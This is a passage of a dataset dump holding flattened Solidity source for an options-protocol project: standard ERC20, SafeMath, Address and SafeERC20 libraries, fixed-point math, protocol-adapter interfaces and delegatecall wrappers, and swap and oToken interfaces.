file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
pragma solidity >=0.7.2; pragma experimental ABIEncoderV2; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; //rounds to zero if x*y < WAD / 2 function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } //rounds to zero if x*y < WAD / 2 function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } //rounds to zero if x*y < WAD / 2 function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } //rounds to zero if x*y < RAY / 2 function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } library ProtocolAdapterTypes { enum OptionType {Invalid, Put, Call} // We have 2 types of purchase methods so far - by contract and by 0x. // Contract is simple because it involves just specifying the option terms you want to buy. // ZeroEx involves an off-chain API call which prepares a ZeroExOrder object to be passed into the tx. enum PurchaseMethod {Invalid, Contract, ZeroEx} /** * @notice Terms of an options contract * @param underlying is the underlying asset of the options. E.g. For ETH $800 CALL, ETH is the underlying. * @param strikeAsset is the asset used to denote the asset paid out when exercising the option. * E.g. For ETH $800 CALL, USDC is the strikeAsset. * @param collateralAsset is the asset used to collateralize a short position for the option. * @param expiry is the expiry of the option contract. Users can only exercise after expiry in Europeans. * @param strikePrice is the strike price of an optio contract. * E.g. For ETH $800 CALL, 800*10**18 is the USDC. * @param optionType is the type of option, can only be OptionType.Call or OptionType.Put * @param paymentToken is the token used to purchase the option. * E.g. Buy UNI/USDC CALL with WETH as the paymentToken. */ struct OptionTerms { address underlying; address strikeAsset; address collateralAsset; uint256 expiry; uint256 strikePrice; ProtocolAdapterTypes.OptionType optionType; address paymentToken; } /** * @notice 0x order for purchasing otokens * @param exchangeAddress [deprecated] is the address we call to conduct a 0x trade. * Slither flagged this as a potential vulnerability so we hardcoded it. * @param buyTokenAddress is the otoken address * @param sellTokenAddress is the token used to purchase USDC. This is USDC most of the time. * @param allowanceTarget is the address the adapter needs to provide sellToken allowance to so the swap happens * @param protocolFee is the fee paid (in ETH) when conducting the trade * @param makerAssetAmount is the buyToken amount * @param takerAssetAmount is the sellToken amount * @param swapData is the encoded msg.data passed by the 0x api response */ struct ZeroExOrder { address exchangeAddress; address buyTokenAddress; address sellTokenAddress; address allowanceTarget; uint256 protocolFee; uint256 makerAssetAmount; uint256 takerAssetAmount; bytes swapData; } } interface IProtocolAdapter { /** * @notice Emitted when a new option contract is purchased */ event Purchased( address indexed caller, string indexed protocolName, address indexed underlying, uint256 amount, uint256 optionID ); /** * @notice Emitted when an option contract is exercised */ event Exercised( address indexed caller, address indexed options, uint256 indexed optionID, uint256 amount, uint256 exerciseProfit ); /** * @notice Name of the adapter. E.g. "HEGIC", "OPYN_V1". Used as index key for adapter addresses */ function protocolName() external pure returns (string memory); /** * @notice Boolean flag to indicate whether to use option IDs or not. * Fungible protocols normally use tokens to represent option contracts. */ function nonFungible() external pure returns (bool); /** * @notice Returns the purchase method used to purchase options */ function purchaseMethod() external pure returns (ProtocolAdapterTypes.PurchaseMethod); /** * @notice Check if an options contract exist based on the passed parameters. * @param optionTerms is the terms of the option contract */ function optionsExist(ProtocolAdapterTypes.OptionTerms calldata optionTerms) external view returns (bool); /** * @notice Get the options contract's address based on the passed parameters * @param optionTerms is the terms of the option contract */ function getOptionsAddress( ProtocolAdapterTypes.OptionTerms calldata optionTerms ) external view returns (address); /** * @notice Gets the premium to buy `purchaseAmount` of the option contract in ETH terms. * @param optionTerms is the terms of the option contract * @param purchaseAmount is the number of options purchased */ function premium( ProtocolAdapterTypes.OptionTerms calldata optionTerms, uint256 purchaseAmount ) external view returns (uint256 cost); /** * @notice Amount of profit made from exercising an option contract (current price - strike price). * 0 if exercising out-the-money. * @param options is the address of the options contract * @param optionID is the ID of the option position in non fungible protocols like Hegic. * @param amount is the amount of tokens or options contract to exercise. */ function exerciseProfit( address options, uint256 optionID, uint256 amount ) external view returns (uint256 profit); function canExercise( address options, uint256 optionID, uint256 amount ) external view returns (bool); /** * @notice Purchases the options contract. * @param optionTerms is the terms of the option contract * @param amount is the purchase amount in Wad units (10**18) */ function purchase( ProtocolAdapterTypes.OptionTerms calldata optionTerms, uint256 amount, uint256 maxCost ) external payable returns (uint256 optionID); /** * @notice Exercises the options contract. * @param options is the address of the options contract * @param optionID is the ID of the option position in non fungible protocols like Hegic. * @param amount is the amount of tokens or options contract to exercise. * @param recipient is the account that receives the exercised profits. * This is needed since the adapter holds all the positions */ function exercise( address options, uint256 optionID, uint256 amount, address recipient ) external payable; /** * @notice Opens a short position for a given `optionTerms`. * @param optionTerms is the terms of the option contract * @param amount is the short position amount */ function createShort( ProtocolAdapterTypes.OptionTerms calldata optionTerms, uint256 amount ) external returns (uint256); /** * @notice Closes an existing short position. In the future, * we may want to open this up to specifying a particular short position to close. */ function closeShort() external returns (uint256); } library ProtocolAdapter { function delegateOptionsExist( IProtocolAdapter adapter, ProtocolAdapterTypes.OptionTerms calldata optionTerms ) external view returns (bool) { (bool success, bytes memory result) = address(adapter).staticcall( abi.encodeWithSignature( "optionsExist((address,address,address,uint256,uint256,uint8,address))", optionTerms ) ); revertWhenFail(success, result); return abi.decode(result, (bool)); } function delegateGetOptionsAddress( IProtocolAdapter adapter, ProtocolAdapterTypes.OptionTerms calldata optionTerms ) external view returns (address) { (bool success, bytes memory result) = address(adapter).staticcall( abi.encodeWithSignature( "getOptionsAddress((address,address,address,uint256,uint256,uint8,address))", optionTerms ) ); revertWhenFail(success, result); return abi.decode(result, (address)); } function delegatePremium( IProtocolAdapter adapter, ProtocolAdapterTypes.OptionTerms calldata optionTerms, uint256 purchaseAmount ) external view returns (uint256) { (bool success, bytes memory result) = address(adapter).staticcall( abi.encodeWithSignature( "premium((address,address,address,uint256,uint256,uint8,address),uint256)", optionTerms, purchaseAmount ) ); revertWhenFail(success, result); return abi.decode(result, (uint256)); } function delegateExerciseProfit( IProtocolAdapter adapter, address options, uint256 optionID, uint256 amount ) external view returns (uint256) { (bool success, bytes memory result) = address(adapter).staticcall( abi.encodeWithSignature( "exerciseProfit(address,uint256,uint256)", options, optionID, amount ) ); revertWhenFail(success, result); return abi.decode(result, (uint256)); } function delegatePurchase( IProtocolAdapter adapter, ProtocolAdapterTypes.OptionTerms calldata optionTerms, uint256 purchaseAmount, uint256 maxCost ) external returns (uint256) { (bool success, bytes memory result) = address(adapter).delegatecall( abi.encodeWithSignature( "purchase((address,address,address,uint256,uint256,uint8,address),uint256,uint256)", optionTerms, purchaseAmount, maxCost ) ); revertWhenFail(success, result); return abi.decode(result, (uint256)); } function delegatePurchaseWithZeroEx( IProtocolAdapter adapter, ProtocolAdapterTypes.OptionTerms calldata optionTerms, ProtocolAdapterTypes.ZeroExOrder calldata zeroExOrder ) external { (bool success, bytes memory result) = address(adapter).delegatecall( abi.encodeWithSignature( // solhint-disable-next-line "purchaseWithZeroEx((address,address,address,uint256,uint256,uint8,address),(address,address,address,address,uint256,uint256,uint256,bytes))", optionTerms, zeroExOrder ) ); revertWhenFail(success, result); } function delegateExercise( IProtocolAdapter adapter, address options, uint256 optionID, uint256 amount, address recipient ) external { (bool success, bytes memory result) = address(adapter).delegatecall( abi.encodeWithSignature( "exercise(address,uint256,uint256,address)", options, optionID, amount, recipient ) ); revertWhenFail(success, result); } function delegateClaimRewards( IProtocolAdapter adapter, address rewardsAddress, uint256[] calldata optionIDs ) external returns (uint256) { (bool success, bytes memory result) = address(adapter).delegatecall( abi.encodeWithSignature( "claimRewards(address,uint256[])", rewardsAddress, optionIDs ) ); revertWhenFail(success, result); return abi.decode(result, (uint256)); } function delegateRewardsClaimable( IProtocolAdapter adapter, address rewardsAddress, uint256[] calldata optionIDs ) external view returns (uint256) { (bool success, bytes memory result) = address(adapter).staticcall( abi.encodeWithSignature( "rewardsClaimable(address,uint256[])", rewardsAddress, optionIDs ) ); revertWhenFail(success, result); return abi.decode(result, (uint256)); } function delegateCreateShort( IProtocolAdapter adapter, ProtocolAdapterTypes.OptionTerms calldata optionTerms, uint256 amount ) external returns (uint256) { (bool success, bytes memory result) = address(adapter).delegatecall( abi.encodeWithSignature( "createShort((address,address,address,uint256,uint256,uint8,address),uint256)", optionTerms, amount ) ); revertWhenFail(success, result); return abi.decode(result, (uint256)); } function delegateCloseShort(IProtocolAdapter adapter) external returns (uint256) { (bool success, bytes memory result) = address(adapter).delegatecall( abi.encodeWithSignature("closeShort()") ); revertWhenFail(success, result); return abi.decode(result, (uint256)); } function revertWhenFail(bool success, bytes memory returnData) private pure { if (success) return; revert(getRevertMsg(returnData)); } function getRevertMsg(bytes memory _returnData) private pure returns (string memory) { // If the _res length is less than 68, then the transaction failed silently (without a revert message) if (_returnData.length < 68) return "ProtocolAdapter: reverted"; assembly { // Slice the sighash. _returnData := add(_returnData, 0x04) } return abi.decode(_returnData, (string)); // All that remains is the revert string } } interface IRibbonFactory { function isInstrument(address instrument) external returns (bool); function getAdapter(string calldata protocolName) external view returns (address); function getAdapters() external view returns (address[] memory adaptersArray); function burnGasTokens() external; } interface IWETH { function deposit() external payable; function withdraw(uint256) external; function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } library Types { struct Order { uint256 nonce; // Unique per order and should be sequential uint256 expiry; // Expiry in seconds since 1 January 1970 Party signer; // Party to the trade that sets terms Party sender; // Party to the trade that accepts terms Party affiliate; // Party compensated for facilitating (optional) Signature signature; // Signature of the order } struct Party { bytes4 kind; // Interface ID of the token address wallet; // Wallet address of the party address token; // Contract address of the token uint256 amount; // Amount for ERC-20 or ERC-1155 uint256 id; // ID for ERC-721 or ERC-1155 } struct Signature { address signatory; // Address of the wallet used to sign address validator; // Address of the intended swap contract bytes1 version; // EIP-191 signature version uint8 v; // `v` value of an ECDSA signature bytes32 r; // `r` value of an ECDSA signature bytes32 s; // `s` value of an ECDSA signature } } interface ISwap { event Swap( uint256 indexed nonce, uint256 timestamp, address indexed signerWallet, uint256 signerAmount, uint256 signerId, address signerToken, address indexed senderWallet, uint256 senderAmount, uint256 senderId, address senderToken, address affiliateWallet, uint256 affiliateAmount, uint256 affiliateId, address affiliateToken ); event Cancel(uint256 indexed nonce, address indexed signerWallet); event CancelUpTo(uint256 indexed nonce, address indexed signerWallet); event AuthorizeSender( address indexed authorizerAddress, address indexed authorizedSender ); event AuthorizeSigner( address indexed authorizerAddress, address indexed authorizedSigner ); event RevokeSender( address indexed authorizerAddress, address indexed revokedSender ); event RevokeSigner( address indexed authorizerAddress, address indexed revokedSigner ); /** * @notice Atomic Token Swap * @param order Types.Order */ function swap(Types.Order calldata order) external; /** * @notice Cancel one or more open orders by nonce * @param nonces uint256[] */ function cancel(uint256[] calldata nonces) external; /** * @notice Cancels all orders below a nonce value * @dev These orders can be made active by reducing the minimum nonce * @param minimumNonce uint256 */ function cancelUpTo(uint256 minimumNonce) external; /** * @notice Authorize a delegated sender * @param authorizedSender address */ function authorizeSender(address authorizedSender) external; /** * @notice Authorize a delegated signer * @param authorizedSigner address */ function authorizeSigner(address authorizedSigner) external; /** * @notice Revoke an authorization * @param authorizedSender address */ function revokeSender(address authorizedSender) external; /** * @notice Revoke an authorization * @param authorizedSigner address */ function revokeSigner(address authorizedSigner) external; function senderAuthorizations(address, address) external view returns (bool); function signerAuthorizations(address, address) external view returns (bool); function signerNonceStatus(address, uint256) external view returns (bytes1); function signerMinimumNonce(address) external view returns (uint256); function registry() external view returns (address); } interface OtokenInterface { function addressBook() external view returns (address); function underlyingAsset() external view returns (address); function strikeAsset() external view returns (address); function collateralAsset() external view returns (address); function strikePrice() external view returns (uint256); function expiryTimestamp() external view returns (uint256); function isPut() external view returns (bool); function init( address _addressBook, address _underlyingAsset, address _strikeAsset, address _collateralAsset, uint256 _strikePrice, uint256 _expiry, bool _isPut ) external; function mintOtoken(address account, uint256 amount) external; function burnOtoken(address account, uint256 amount) external; } // /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns 